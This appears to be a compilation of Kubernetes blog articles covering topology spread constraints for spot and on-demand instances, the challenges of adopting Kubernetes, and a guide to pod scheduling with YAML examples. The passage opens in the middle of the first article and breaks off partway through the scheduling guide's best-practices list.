[**MaxSkew**](https://kubernetes.io/docs/concepts/scheduling-eviction/topology-spread-constraints/#spread-constraint-definition) is a critical component of this approach. By setting MaxSkew to 1, we ensured that pods are distributed as evenly as possible across both spot and on-demand instances. This prevents any single instance type from becoming overloaded, thereby improving the overall resilience and performance of our applications.

We also leveraged the **Topology Key** to distinguish between spot and on-demand instances. By using a node label such as "[node.kubernetes.io/instance-type](http://node.kubernetes.io/instance-type)," we were able to clearly differentiate between the two, allowing Kubernetes to make informed decisions about where to place pods.

Here's an example of how this would look in practice using a Kubernetes `Deployment`:

```yaml
kind: Deployment
apiVersion: apps/v1
metadata:
  name: mypod
  labels:
    foo: bar
spec:
  replicas: 10
  selector:
    matchLabels:
      foo: bar
  template:
    metadata:
      labels:
        foo: bar
    spec:
      topologySpreadConstraints:
        - maxSkew: 1
          topologyKey: node.kubernetes.io/instance-types
          whenUnsatisfiable: DoNotSchedule
          labelSelector:
            matchLabels:
              foo: bar
      containers:
        - name: pause
          image: registry.k8s.io/pause:3.1
```

In this example:

* `maxSkew: 1` ensures even distribution of pods across the different instance types.
    
* The `topologyKey` is set to [`node.kubernetes.io/instance-type`](http://node.kubernetes.io/instance-type) to distinguish between spot and on-demand instances.
    
* We use `whenUnsatisfiable: DoNotSchedule` to ensure strict adherence to the distribution rule, preventing pods from being scheduled if the constraints can’t be met.
    

**whenUnsatisfiable** became our fallback strategy, providing two options:

* **DoNotSchedule** enforces strict adherence to the constraints, ensuring that if the desired distribution cannot be achieved, the pod won’t be scheduled. This option is crucial for scenarios where balanced distribution is critical for application performance or reliability.
    
* **ScheduleAnyway** offers flexibility by allowing the scheduler to proceed with pod placement even if perfect distribution isn’t possible. This approach is particularly useful in situations requiring rapid scaling, such as during sudden traffic spikes, where ensuring availability is more important than maintaining an ideal distribution.
    

This solution has been around for a few years now, but the adoption hasn't quite caught on due to its lack of awareness.

## Real-World Challenges: Limitations and Considerations

While Topology Spread Constraints offer a powerful solution, they are not without limitations. One significant challenge is that **Topology Spread Constraints do not rebalance pods at runtime**. They only apply when pods are initially scheduled. If the distribution of instances changes—such as when a spot instance is terminated—Kubernetes does not automatically rebalance the pods across the remaining instances. This can lead to uneven distribution over time, potentially undermining the benefits of using TSC.

Another challenge arises during **node failures**. When a node fails, Kubernetes will reschedule the affected pods, but it may not respect the original Topology Spread Constraints. This could result in pods becoming concentrated on fewer nodes, reducing the effectiveness of your mixed-instance strategy.

## Conclusion: Making Kubernetes Work for You

Optimizing costs in Kubernetes is a challenging but essential task for any development team. While the complexities of managing mixed-instance environments can be daunting, tools like Topology Spread Constraints offer a path forward. By embracing these features and understanding their limitations, you can achieve a balance between cost efficiency and reliability, making Kubernetes work for you rather than against you.

In the end, it’s about finding the right tools and strategies to meet your specific needs. Whether you’re managing a small cluster or a large, complex environment, the key is to remain flexible and adaptable, continually refining your approach as your requirements evolve. With the right mindset and the right tools, you can optimize your [Kubernetes deployments](https://blog.facets.cloud/kubernetes-cicd-explained/) for both cost and performance, ensuring that your applications are always running at their best.

---

# Kubernetes Adoption: Key Challenges in Migrating to Kubernetes

- Canonical: https://blog.kubesimplify.com/kubernetes-adoption-key-challenges-in-migrating-to-kubernetes
- Published: 2024-09-10

Many organizations have spent many years building and refining their software delivery infrastructure within non-kubernetes environments. They might run their infrastructure on cloud-hosted VMs or bare metal servers using a virtualizing tool such as [Proxmox](https://www.proxmox.com/en/). While these methods are useful and get the job done, they have limitations beyond a certain scale.

To address this scaling issue, companies want to move their workloads over to a Kubernetes environment. Apart from providing improved scalability, Kubernetes also provides a lot of other benefits such as automation, efficiency, auto-healing, and flexibility. However, migrating the entire business workload to Kubernetes is a daunting task, and it has several challenges associated with it.

In 2024, it would found in the [State of Production Kubernetes survey](https://info.spectrocloud.com/2024-state-of-production-kubernetes) that nearly 75% of responders use Kubernetes for running their production applications, leaving only 25% of respondents using traditional infrastructure such as VMs for their production applications.

Before we explore the challenges of adopting Kubernetes let’s understand what the adoption journey might look like.

# Kubernetes Adoption Journey

Kubernetes adoption is one of the most difficult adoption that most of the organizations would go through. The journey of adopting Kubernetes is no less than a roller coaster ride. Even before you start with creating your very first Kubernetes cluster, you would need to make sure your application is containerized. And to containerize your application, you need to make sure the application is ready for containerization. It takes most organizations months or years to gain complete Kubernetes maturity, depending on multiple factors such as the size and scale of existing applications, technical expertise, existing infrastructure, and more.

Let’s take a look at the 4 different stages that every organization would go through to achieve Kubernetes Maturity.

* **Setting up Kubernetes:** The first stage in any Kubernetes adoption journey is to create a Kubernetes cluster and get it ready for production deployments. You need to ensure that the cluster has the proper security and compliance before you start deploying your application to the cluster. All these tasks require Kubernetes expertise.
    
* **Migrating Workloads:** Making your application complaint to the Kubernetes environment and onboarding your first application can be cumbersome. Comparatively, migrating all applications might involve repetitive tasks and is a time-consuming activity. A process has to be created that can help you onboard applications quickly, without worrying about the configurations and writing helm-charts or K8s-manifests.
    
* **Software Delivery Acceleration:** There needs to be a proper process in place, which enables developers to accelerate their software delivery speed, while also ensuring that the proper compliance policies are being followed.
    
* **Day 2 Operations:** Once your applications are all deployed onto Kubernetes you would want to make sure that they are stable. This means ensuring that they can be updated to newer versions using deployment patterns such as [blue-green](https://codefresh.io/learn/software-deployment/what-is-blue-green-deployment/) or [canary](https://kubernetes.io/docs/concepts/workloads/controllers/deployment/#canary-deployment), without any significant downtime. This also involves getting visibility into the environments and checking if there are any resource constraints, ensuring dynamic resource scaling to meet workloads, etc.
    

# Challenges with Getting Started

Within the entire Kubernetes adoption journey, there are multiple different challenges that organizations face. Let’s look at some of these challenges, and understand why migrating to Kubernetes takes a significant amount of time.

## Steep Learning Curve

Kubernetes brings a lot of flexibility to the table, which enables developers and operations teams to have faster release cycles, while also ensuring maximum reliability. However, these advantages come with a lot of added complexity and nuances. In the pre-Kubernetes era, we were used to handling a lot of VM-level abstraction. This laid down a different foundation, mental model, and building model for the infrastructure components.

Understanding these models in a Kubernetes context is a challenge. Rather, it takes a lot of time to understand these nuances well. Even after understanding the Kubernetes nuances, developers lack the confidence needed to deploy their applications onto Kubernetes. You don’t want to take your applications to production if you can’t control your applications to the best of your ability, as it might affect the SLAs set in place. Within the [State of Production Kubernetes 2024](https://20518613.fs1.hubspotusercontent-na1.net/hubfs/20518613/Spectro%20Cloud%202024%20State%20of%20Production%20Kubernetes%20(1).pdf?utm_campaign=2024%20State%20of%20Production%20Kubernetes&utm_medium=email&_hsenc=p2ANqtz-8b-cWU5nqN9chXriNn-13vsvFUAcaEi_z6-NTLAgCWKiiWc0M_4ddql7yhViMvZvQzwXWLAoJSCsnUOc1uiH4n5tDCFo0QlcHCk3sD-MpPrzNIkYY&_hsmi=308611242&utm_content=308611242&utm_source=hs_automation) report by Spectro cloud, 77% of respondents said that Kubernetes complexities have inhibited their adoption journey.

Before Kubernetes, developers had a very simple world, where they needed to know only a few technologies and develop software to solve the business concerns. They didn’t need to worry about different infrastructure components, and if the application’s design worked well with the existing infrastructure. Learning about Kubernetes for their application takes time, and it’s a new burden for the developers.

## Containerization

Kubernetes by its very nature, is designed to run workloads as microservices. When migrating to Kubernetes, one of the first challenges you will be facing is containerizing your workloads. If you’ve previously run a monolithic application, i.e. every component bundled into a single large application, you will need to break these components down into smaller individual self-contained applications i.e. microservices to obtain the maximum benefit by shifting to a Kubernetes cluster.

Kubernetes is a container orchestrator, which means that to run your workloads, each application will need to be containerized. Learning how to create, build, and use a container image adds to its learning curve. Moreover, depending on your application’s tech stack, the configurations needed for creating a container image would vary.

# Challenges with Tool Integrations

The cloud-native ecosystem is nothing less than a pacific ocean. The deeper you go, the more you are lost. There are hundreds and thousands of tools built for specific use-cases and the biggest problem is to integrate and manage the tools-sprawls.

## Broad Ecosystem

Kubernetes has an extremely huge and [extensive ecosystem](https://devtron.ai/blog/elevating-cloud-native-development-kubernetes/). If you look at the [CNCF ecosystem](https://landscape.cncf.io/), there are 100+ different tools, all solving different problems. To make your cluster production ready, it is necessary to integrate these tools within your clusters. However, just the huge number of solutions for every category can be overwhelming. You have to evaluate the tools and select the ones that fit your needs.

Even after you’ve evaluated the tools, and shortlisted a small number of tools that meet your requirements, there still is the question of how you are going to integrate these tools within your cluster. Some of the tools are straightforward to integrate, but many require a lot of additional configuration which adds a cognitive burden and introduces a learning curve for developers.

While having the choice to pick your tools offers quite a lot of flexibility, [48% of survey respondents](https://20518613.fs1.hubspotusercontent-na1.net/hubfs/20518613/Spectro%20Cloud%202024%20State%20of%20Production%20Kubernetes%20(1).pdf?utm_campaign=2024%20State%20of%20Production%20Kubernetes&utm_medium=email&_hsenc=p2ANqtz-8b-cWU5nqN9chXriNn-13vsvFUAcaEi_z6-NTLAgCWKiiWc0M_4ddql7yhViMvZvQzwXWLAoJSCsnUOc1uiH4n5tDCFo0QlcHCk3sD-MpPrzNIkYY&_hsmi=308611242&utm_content=308611242&utm_source=hs_automation) state that it is very difficult to choose the right tools form the broad ecosystem.

## Multi-cluster & Multi-cloud Strategy

A lot of different organizations try to adopt a multi-cluster or multi-cloud strategy for their workloads i.e. spreading their workloads across multiple Kubernetes clusters or multiple different cloud providers. There is also an increasing demand for adopting a Hybrid cloud strategy i.e. hosting some clusters on a public cloud such as AWS or GCP, and hosting other clusters in on-prem infrastructure. This can help with enhanced reliability for applications and ensures maximum uptime. However, managing a multi-cloud or hybrid workload is not easy.

One of the most prevalent challenges with a multi-cloud setup is a lack of visibility across all the clusters. There isn’t a uniform way in which you can look at the Kubernetes objects of all clusters in a single place. There is constant context switching between multiple clusters which can make it difficult to debug an application if needed or understand how certain components are related to each other.

# Challenges with Securing Kubernetes Clusters

Every piece of software has a common shared struggle: being secure enough. Kubernetes is no different, and securing the cluster can become a huge challenge. Kubernetes has many features that help in security, but they can become overwhelming even for experienced K8s users. Let’s explore these challenges in detail.

## Access Control Management

Managing the right level of access control for aspects of your Kubernetes cluster is a big challenge that many Kubernetes adopters face. For example, you might want to allow your developers to deploy applications in a staging environment, but not in a production environment. Out of the box, Kubernetes provides a lot of mechanisms for creating fine-grained access control for multiple different users.

The real challenge lies with managing access control and creating the right level of abstraction in real time without hindering the speed and agility of teams. Imagine if you accidentally gave super admin permissions to anyone within your organization. They would be able to do anything within the cluster, which might disrupt your services and lead to unhappy customers.

## DevSecOps implementation

When running on Kubernetes, you want to ensure that you have robust DevSecOps practices in place. Before deploying your application to any environment, you should run some security scans on the application code and containers.

Evaluating tools, and integrating them within your CI/CD pipelines is quite a big challenge. Moreover, what if you want to set some governance policies based on the number of vulnerabilities found in the security scans? Setting these policies can also be a big challenge.

# Conclusion

The adoption and migration journey from a traditional VM-based workload to a Kubernetes environment is quite long and filled with challenges at different levels. The learning curve is especially high because Kubernetes itself is a distributed system, and there are many different tools within the Kubernetes ecosystem that you will need to learn about. Even after getting past the high learning curve, there are still many challenges with security, different tool stacks, setting up monitoring, etc, and then managing all of these different aspects within the cluster. This adoption journey can typically take anything from a few months, to even a few years depending on the scale of your organization.

---

# Kubernetes Scheduling - The Complete Guide

- Canonical: https://blog.kubesimplify.com/kubernetes-scheduling-the-complete-guide
- Published: 2024-08-29
- Summary: In this guide, we'll break down the essentials of scheduling in Kubernetes.

If you’re involved in the cloud native ecosystem, chances are you’re already familiar with [Kubernetes](https://kubernetes.io/) — the open source system for automating deployment, scaling, and management of containerized applications.

There are a lot of different components as part of the [Kubernetes architecture](https://kverma.hashnode.dev/navigating-the-kubernetes-architecture-a-comprehensive-guide), which are responsible for the efficient management of containerized workloads, which is key to running running reliable and scalable applications. One such component is the [kube-scheduler](https://kubernetes.io/docs/reference/command-line-tools-reference/kube-scheduler/), an essential component responsible for deciding where your applications run within the cluster.

But how does it do that? What are the steps involved in scheduling an application within the cluster? And why does it matter so much?

In this guide, we'll break down the essentials of scheduling in Kubernetes. We'll explore how the scheduler works behind the scenes, the techniques used to optimize pod placement, and the best practices to ensure your applications run smoothly.

# **What Does "Scheduling in Kubernetes" Mean?**

In Kubernetes, scheduling is the entire process of assigning a pod (essentially, your application) to "the most appropriate or feasible node" in a cluster.

It’s very similar to assigning tasks to team members based on their strengths and current workload. Imagine you have a team of employees, each having different set of skills and capacity to work. When a new task comes in, you need to decide who is best suited to handle it. You wouldn't want to overload one person while another has nothing to do, right?

Similarly, Kubernetes uses scheduling to decide which node should run a new pod (a task).

This process is crucial because it ensures that your applications run efficiently without overloading any single node. If scheduling is done poorly, some nodes might become overwhelmed while others sit idle, leading to performance issues or even downtime — which we don’t want!

# The Basics of Scheduling in Kubernetes

The [kube-scheduler](https://kubernetes.io/docs/reference/command-line-tools-reference/kube-scheduler/) component in Kubernetes is responsible for this process. Its primary job is to find the best possible node for each newly created pod.

When a new pod is created, it doesn’t automatically know where to run or which node to choose — thus, it will be in a `pending` state. This is where the kube-scheduler steps in. It evaluates all the available nodes and selects the one that meets the pod's requirements, such as available CPU, memory, and any specific constraints that are applied by us like node labels or taints (we’ll talk about these next).

The goal is to ensure that each pod is placed in a way that maximizes resource utilization, avoids conflicts, and keeps the entire cluster running smoothly.

Now, there are a series of steps followed by the kube-scheduler to arrive at this decision. Let us have a look at those:

1. **Node Filtering**
    
    The scheduler first filters out any nodes that don’t meet the basic requirements of the pod. For example, if a pod requests a specific amount of CPU or memory (let’s say 2GB), the scheduler will remove any nodes that don’t have at least 2GB of memory available. This ensures that only suitable nodes are considered.
    
2. **Node Scoring**
    
    After filtering, the scheduler scores the remaining nodes based on how well they match the pod's needs. This includes factors like resource utilization and affinity rules. The goal is to find the most optimal node, not just one that meets the minimum requirements.
    
3. **Node Selection**
    
    After the scoring phase, the node with the highest score is selected and declared as “the most feasible” one for the pod.
    
4. **Pod Binding**
    
    Once a node is selected, the scheduler communicates this decision back to the API Server. The API Server then updates the pod's status to show that it is "`bound`" to a specific node. The kubelet on that node then takes over, pulling the necessary container images and starting the pod.
    

![](/img/blog/kubernetes-scheduling-the-complete-guide/c498c7b9-c35b-4476-b68c-43ad3bf9d254.png align="center")

> 💡 Did you know?  
> There are two ways to configure how the kube-scheduler filters and scores nodes for pod placement:
> 
> 1. [Scheduling Policies](https://kubernetes.io/docs/reference/scheduling/policies/) - These allow you to set up rules called **Predicates** for filtering nodes and **Priorities** for scoring them.
>     
> 2. [Scheduling Profiles](https://kubernetes.io/docs/reference/scheduling/config/#profiles) - These let you use Plugins to customize different stages of the scheduling process, like `QueueSort`, `Filter`, `Score`, `Bind`, `Reserve`, `Permit` etc.
>     
> 
> [![](/img/blog/kubernetes-scheduling-the-complete-guide/c8bf5d3d-c00e-48a8-bbcd-fb71a7c78d43.png align="center")](https://medium.com/@juliorenner123/k8s-creating-a-kube-scheduler-plugin-8a826c486a1)

# **Core Scheduling Techniques**

In this section, we’ll have a look at several techniques offered by Kubernetes to control and fine-tune how pods are assigned to nodes.

## 1\. `nodeName` **field**

The `nodeName` field allows you to specify exactly which node you want a pod to run on. It’s similar assigning a specific task to a particular team member, ensuring it goes exactly where you want it to.

Here’s an example of using `nodeName` to schedule a pod on a specific node called `node1`:

```yaml
apiVersion: v1
kind: Pod
metadata:
  name: my-pod
spec:
  containers:
  - name: my-container
    image: nginx
  nodeName: node1
```

In this example, the pod `my-pod` will be scheduled directly on `node1` without considering other nodes in the cluster.

So, when to use the `nodeName` field? It’s useful in scenarios where you may want to run a pod on a specific node for testing, debugging, or when you have specialized hardware on that particular node.

> **Note:** Using `nodeName` can bypass Kubernetes’ built-in scheduling logic, which might lead to imbalances in resource utilization if not used carefully.

## **2\. Node Selector (**`nodeSelector` **field)**

The `nodeSelector` field is a straightforward and commonly recommended method to ensure that your pods are scheduled on specific nodes based on labels. It’s like saying, "I want this task to go to someone in the marketing department." You assign a label to the node, and any pod with that label will be scheduled on that node.

Here’s how it works:

* Assign the label `dept=marketing` to the node `node01`, using the following command:
    
    ```bash
    kubectl label nodes node01 dept=marketing
    
    # Output
    node/node01 labeled
    ```
    
* Verify that the labels have been correctly set:
    
    ```bash
    kubectl get nodes --show-labels
    ```
    
    Here's the expected output:
    
    ```bash
    NAME           STATUS   ROLES           AGE   VERSION   LABELS
    controlplane   Ready    control-plane   23d   v1.30.0   beta.kubernetes.io/arch=amd64,....
    node01         Ready    <none>          23d   v1.30.0   beta.kubernetes.io/arch=amd64,beta.kubernetes.io/os=linux,dept=marketing,....
    ```
    
* Specify the same labels in the `nodeSelector` field while creating the pod specification:
    
    ```yaml
    apiVersion: v1
    kind: Pod
    metadata:
      name: nginx
      labels:
        env: test
    spec:
      containers:
      - name: nginx
        image: nginx
        imagePullPolicy: IfNotPresent
      nodeSelector:
        dept: marketing
    ```
    

Once applied, the pod will get scheduled on the node that has a `dept=marketing` label — which is `node01` in this case.

## **3\. Affinity and Anti-Affinity Rules**

Next up we have the concept of [affinity and anti-affinity](https://kubernetes.io/docs/concepts/scheduling-eviction/assign-pod-node/#affinity-and-anti-affinity) — which are more advanced methods to apply scheduling constraints for placing pods on nodes. Primarily, there are three types of affinity that are important to know.

### **Node Affinity**

Logically, it’s very similar to using the `nodeSelector` field but is more expressive and flexible. It allows you to specify rules that determine which nodes your pod can be scheduled on based on node labels.

There are two types of node affinity:

1. `requiredDuringSchedulingIgnoredDuringExecution`
    
    * This type is like a "must-have" rule. The scheduler will only place the pod on a node if the specified criteria are met. If no nodes satisfy the criteria, the pod will not be scheduled.
        
    * However, if the node’s condition changes after the pod is scheduled and running — such that the criteria are no longer met — the pod will continue to run and will not be evicted.
        
    
    **Example:**
    
    Here’s how you can use this type of affinity to ensure a pod is scheduled on nodes labeled with `region=us-west`:
    
    ```yaml
    apiVersion: v1
    kind: Pod
    metadata:
      name: my-pod
    spec:
      containers:
      - name: my-container
        image: nginx
      affinity:
        nodeAffinity:
          requiredDuringSchedulingIgnoredDuringExecution:
            nodeSelectorTerms:
            - matchExpressions:
              - key: region
                operator: In
                values:
                - us-west
    ```
    
2. `preferredDuringSchedulingIgnoredDuringExecution`
    
    * This type is more of a "nice-to-have" rule. The scheduler will try to place the pod on a node that meets the criteria, but if no such nodes are available, the pod can still be scheduled on another node that doesn’t meet the preference.
        
    * Like the `required` type, changes to the node after scheduling will not affect the pod’s placement.
        
    
    **Example**:
    
    Here’s an example showing the use of this type of node affinity to prefer nodes in the `antarctica-east1` zone:
    
    ```yaml
    apiVersion: v1
    kind: Pod
    metadata:
      name: my-pod
    spec:
      containers:
      - name: my-container
        image: nginx
      preferredDuringSchedulingIgnoredDuringExecution:
          - weight: 1
            preference:
              matchExpressions:
              - key: topology.kubernetes.io/zone
                operator: In
                values:
                - antarctica-east1
    ```
    

> Note - Using Operators  
>   
> When using node affinity, you can specify conditions with operators like `In`, `NotIn`, `Exists`, and `DoesNotExist`. These operators help define how the pod’s node selection criteria should match the node labels.  
>   
> For example, `In` means the pod will only be scheduled on nodes with specific labels, while `NotIn` (which we'll see next) excludes certain nodes.  
>   
> For more details, refer to the [Kubernetes documentation](https://kubernetes.io/docs/concepts/scheduling-eviction/assign-pod-node/#operators).

### **Node Anti-Affinity**

As the name may suggest, its the opposite of Node Affinity!

It ensures that a pod is not scheduled on certain nodes based on node labels. This is particularly useful when you want to avoid placing specific workloads on certain nodes, such as keeping high-availability applications away from nodes with less reliable hardware.

**Example:**

Suppose you want to avoid scheduling a pod on nodes labeled with `disktype=hdd`. You could use `nodeAffinity` with the `NotIn` operator to ensure that the pod only runs on nodes with other disk types.

```yaml
apiVersion: v1
kind: Pod
metadata:
  name: my-pod
spec:
  containers:
  - name: my-container
    image: nginx
  affinity:
    nodeAffinity:
      requiredDuringSchedulingIgnoredDuringExecution:
        nodeSelectorTerms:
        - matchExpressions:
          - key: disktype
            operator: NotIn
            values:
            - hdd
```

### Pod Affinity and Anti-Affinity

Pod Affinity and Anti-Affinity rules are similar to Node Affinity but focus on the relationship between pods rather than nodes. These rules allow you to specify whether certain pods should be scheduled close to each other (Pod Affinity) or spread apart (Pod Anti-Affinity).

1. **Pod Affinity**
    
    Pod Affinity is used when you want certain pods to be scheduled on the same node or in close proximity to other pods that meet specific criteria. This is often useful for applications that require low latency between services, such as microservices that frequently communicate with each other.
    
    **Example:** If you have a microservices application where certain services need to be close to each other, you might use Pod Affinity to ensure they are scheduled on the same node:
    
    ```yaml
    apiVersion: v1
    kind: Pod
    metadata:
      name: my-pod
    spec:
      containers:
      - name: my-container
        image: nginx
      affinity:
        podAffinity:
          requiredDuringSchedulingIgnoredDuringExecution:
            labelSelector:
              matchExpressions:
              - key: app
                operator: In
                values:
                - frontend
            topologyKey: "kubernetes.io/hostname"
    ```
    
2. **Pod Anti-Affinity**
    
    Pod Anti-Affinity is used when you want to ensure that certain pods are scheduled away from each other. This can be particularly useful for high-availability applications, so that if one node fails, the other replicas are still running on different nodes.
    
    **Example:** To ensure high availability, you might want to avoid placing replicas of the same service on the same node. Pod Anti-Affinity can help here by ensuring that pods with the same label are spread across different nodes.
    
    ```yaml
    apiVersion: v1
    kind: Pod
    metadata:
      name: my-pod
    spec:
      containers:
      - name: my-container
        image: nginx
      affinity:
        podAntiAffinity:
          requiredDuringSchedulingIgnoredDuringExecution:
            labelSelector:
              matchExpressions:
              - key: app
                operator: In
                values:
                - backend
            topologyKey: "kubernetes.io/hostname"
    ```
    

## 4\. Taints and Tolerations

Taints and Tolerations are like setting up VIP areas in a restaurant. Taints are the "VIP only" signs that prevent certain pods from being scheduled on specific nodes unless they have a matching "VIP pass" called a toleration.

Essentially, taints and tolerations allow you to control which pods can or cannot run on specific nodes. Taints are like "keep out" signs that prevent certain pods from being scheduled on the node unless they have a matching toleration.

![](/img/blog/kubernetes-scheduling-the-complete-guide/294a6741-5c32-4116-8db8-a2678af0c3d9.png align="center")

**Example:**

Let’s say you want only specific pods (with the label `team=blue`) to run on a particular node. You can taint the node and add a matching toleration to the pods:

```bash
kubectl taint nodes node1 team=blue:NoSchedule
```

This command adds a taint to `node1`, preventing any pod from being scheduled on it unless the pod has a matching toleration.

Now, add a toleration to the pod so it can be scheduled on the tainted node:

```yaml
apiVersion: v1
kind: Pod
metadata:
  name: my-pod
spec:
  containers:
  - name: my-container
    image: nginx
  tolerations:
  - key: "team"
    operator: "Equal"
    value: "blue"
    effect: "NoSchedule"
```

> 💡Tip - Good Scheduling Strategy  
>   
> An effective scheduling strategy is using a combination of Node Affinity along with Taints and Tolerations.  
>   
> First, we can apply Taints and Tolerations to prevent other pods from being scheduled on specific nodes. Then, we use Node Affinity to ensure that the selected pods (those allowed by the Tolerations) stay on their designated nodes and don’t end up on other pods’ nodes.  
>   
> This strategy will give precise control over pod placement, ensuring your workloads are isolated and running where you want them.

# Managing Resource Allocation

Now that we've covered the important scheduling mechanisms we can use in Kubernetes, it’s important to understand how resources are allocated to ensure that your applications run efficiently and reliably. Managing resource allocation is crucial because it directly affects how Kubernetes schedules your pods and how well your applications perform within the cluster.

When deploying an application, each pod consumes resources like CPU and memory, and it’s essential to manage these resources wisely. If resource allocation isn’t handled properly, some applications might consume too much, leaving others starved for resources, or pods might not get scheduled at all if the required resources aren’t available on a particular node.

Kubernetes offers several mechanisms to help you manage resource allocation effectively:

## 1\. Resource Requests and Limits

These are the primary parameters that you set to control how much CPU and memory a pod can consume.

* **Resource Requests:**
    
    This defines the minimum amount of CPU and memory that a pod needs to run. When you set a resource request, Kubernetes uses this value to decide if a node has enough available resources to accommodate the pod. If a node doesn’t have the requested resources, the pod won’t be scheduled on that node.
    
* **Resource Limits:**
    
    This defines the maximum amount of CPU and memory that a pod is allowed to use. Setting limits will ensure that a pod doesn’t consume more than its fair share of resources, which helps prevent any single pod from starving others of necessary resources.
    

By setting both requests and limits, you can ensure that your applications have enough resources to perform well, without any one application hogging all the resources.

**Example:**

Here’s an example of how to set resource requests and limits in a pod specification:

```yaml
apiVersion: v1
kind: Pod
metadata:
  name: my-pod
spec:
  containers:
  - name: my-container
    image: nginx
    resources:
      requests:
        memory: "64Mi"
        cpu: "250m"
      limits:
        memory: "128Mi"
        cpu: "500m"
```

In this example:

* The pod requests `64Mi` (mebibytes) of memory and `250m` of CPU, meaning it needs at least these amounts to be scheduled on a node.
    
* The pod is limited to `128Mi` of memory and `500m` of CPU, meaning it cannot exceed these amounts, even if more resources are available on the node.
    

## 2\. Resource Quotas

[Resource Quotas](https://kubernetes.io/docs/concepts/policy/resource-quotas/) are a way to manage resource consumption across different namespaces in a Kubernetes cluster. A Resource Quota sets hard limits on the amount of resources — like CPU, memory, and storage — that a namespace can use.

This is particularly useful in multi-tenant environments, where you want to ensure that no single team or application consumes more than its fair share of cluster resources.

**Example:**

Here’s an example of setting a Resource Quota in a namespace:

```yaml
apiVersion: v1
kind: ResourceQuota
metadata:
  name: namespace-quota
  namespace: demo-ns
spec:
  hard:
    cpu: "20"
    memory: "100Gi"
    pods: "50"
```

In this example:

* The namespace `demo-ns` is allowed to request up to 20 CPUs, `100Gi` of memory, and a maximum of 50 pods.
    
* This ensures that the applications within this namespace cannot exceed the specified resource limits, helping to maintain balance in the cluster.
    

## 3\. Limit Ranges

A [Limit Range](https://kubernetes.io/docs/concepts/policy/limit-range/) is a policy that works within a namespace to enforce minimum and maximum resource requests and limits for individual pods or containers. This helps ensure that every pod in the namespace adheres to a standard set of resource consumption rules, which prevents any pod from having too few or too many resources.

**Example:**

Here’s how you can set a Limit Range in a namespace:

```yaml
apiVersion: v1
kind: LimitRange
metadata:
  name: resource-limits
  namespace: demo-ns
spec:
  limits:
  - default:
      cpu: "500m"
      memory: "256Mi"
    defaultRequest:
      cpu: "250m"
      memory: "128Mi"
    max:
      cpu: "1"
      memory: "512Mi"
    min:
      cpu: "100m"
      memory: "64Mi"
    type: Container
```

In this example:

* The Limit Range enforces that every container in the `demo-ns` must request between 100m and 500m of CPU and between 64Mi and 512Mi of memory.
    
* This prevents any single container from requesting too few resources (which could cause performance issues) or too many resources (which could waste resources).
    

# Priority and Preemption

In a Kubernetes cluster, not all workloads are equally important. Some are mission-critical, while others are less urgent. [Priority and Preemption](https://kubernetes.io/docs/concepts/scheduling-eviction/pod-priority-preemption/) allow you to ensure that the most critical workloads get the resources they need, even if it means evicting less critical ones.

* **Priority**
    
    With priority, you can assign a value to each pod that indicates its importance. Pods with higher priority values are considered more critical by the scheduler. When resources are limited, these high-priority pods are given preference over lower-priority ones.
    
* **Preemption**
    
    Preemption is a process that works hand-in-hand with priority. If a high-priority pod can’t be scheduled because there aren’t enough resources available, Kubernetes may remove (or "evict") lower-priority pods to make room. This ensures that critical workloads have the resources they need to run.
    

Example:

Here’s how you might define a `PriorityClass` for critical workloads:

```yaml
apiVersion: scheduling.k8s.io/v1
kind: PriorityClass
metadata:
  name: high-priority
value: 1000
globalDefault: false
description: "This priority class should be used for critical workloads."
```

You can then use this `PriorityClass` in a pod definition:

```yaml
apiVersion: v1
kind: Pod
metadata:
  name: critical-pod
spec:
  containers:
  - name: my-container
    image: nginx
  priorityClassName: high-priority
```

In this example:

* The `PriorityClass` named `high-priority` is assigned a value of `1000`, making it a high-priority class.
    
* The pod `critical-pod` uses this `PriorityClass`, ensuring that it will be given preference over lower-priority pods when resources are allocated during the scheduling process.
    

# Horizontal Scaling and Scheduling

As your application grows and demand increases, Kubernetes needs to automatically adjust the number of running pods to handle the load. This is where [Horizontal Pod Autoscaling (HPA)](https://kubernetes.io/docs/tasks/run-application/horizontal-pod-autoscale/) comes into play. HPA interacts closely with the scheduling process to ensure that new pods are efficiently placed across the cluster.

### **What is Horizontal Pod Autoscaling (HPA)?**

It is a mechanism in Kubernetes that automatically scales the number of pod replicas based on observed resource usage, such as CPU or memory. This helps maintain application performance during fluctuating workloads, which ensures that your application can handle varying loads without manual intervention.

### How does it works?

HPA monitors resource usage, such as CPU or memory, and automatically adjusts the number of pod replicas to match the current demand. If resource usage increases, HPA will "scale out" by creating more pod replicas. On the other hand, if resource usage decreases, HPA will "scale in" by reducing the number of replicas.

The scheduler then ensures that these new pods are evenly distributed across the cluster, optimizing resource utilization and avoiding the "hotspots".

### Why does **Horizontal Scaling** matter?

Horizontal scaling is important because it allows your application to be responsive to changing demand without wasting resources. When demand increases, more pods are added to handle the load. When demand drops, excess pods are removed, saving resources and costs.

This dynamic scaling is essential for maintaining application performance and reliability, especially in environments where workload can vary significantly, such as web applications or online services that may experience peak traffic during certain times of the day.

**Example:**

Here’s how you can configure HPA to scale based on CPU usage:

```yaml
apiVersion: autoscaling/v2
kind: HorizontalPodAutoscaler
metadata:
  name: app-hpa
spec:
  scaleTargetRef:
    apiVersion: apps/v1
    kind: Deployment
    name: my-app
  minReplicas: 2
  maxReplicas: 10
  metrics:
  - type: Resource
    resource:
      name: cpu
      target:
        type: Utilization
        averageUtilization: 50
```

**In this example:**

* The HPA is configured for a deployment named `my-app`.
    
* It will maintain a minimum of **2 replicas** and can scale up to a maximum of **10 replicas** based on CPU usage.
    
* The target CPU utilization is set to **50%**, which means that HPA will add or remove replicas to keep the average CPU usage around this level.
    

# Best Practices for Scheduling

To wrap up, let us have a look at some best practices that will help you get the most out of Kubernetes scheduling:

1. **Scheduling for High Availability**
    
    As we discussed in a previous section, high availability is about ensuring that your applications remain up and running even in situations of node failures or any other disruptions. By strategically placing your pods across different nodes and zones, you can minimize the risk of downtime.
    
    * **Use Pod Anti-Affinity** to spread replicas across nodes. This ensures that if one node goes down, the other replicas remain available.
        
    * **Leverage Multi-Zone/Region Scheduling** - By running your application in [multiple zones](https://kubernetes.io/docs/setup/best-practices/multiple-zones/) or regions, you can ensure that it can withstand a failure in one location, improving overall reliability.
        
2. **Optimizing Resource Utilization**
    
    We’ve already seen the importance of efficient resource allocation and utilization — which is key maintaining a balanced and cost-effective Kubernetes cluster. Here are some pointers to keep in mind:
    
